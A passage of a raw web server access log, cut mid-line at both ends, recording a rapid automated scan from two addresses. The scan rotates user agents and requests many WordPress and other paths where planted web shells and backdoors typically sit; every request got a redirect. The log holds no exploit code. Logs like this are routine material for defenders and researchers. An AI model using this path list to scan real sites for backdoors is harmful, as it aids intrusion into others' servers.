HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:37 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:23:38 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:38 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:38 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:38 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:23:39 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:39 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:39 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:23:39 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:39 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:39 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:40 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" 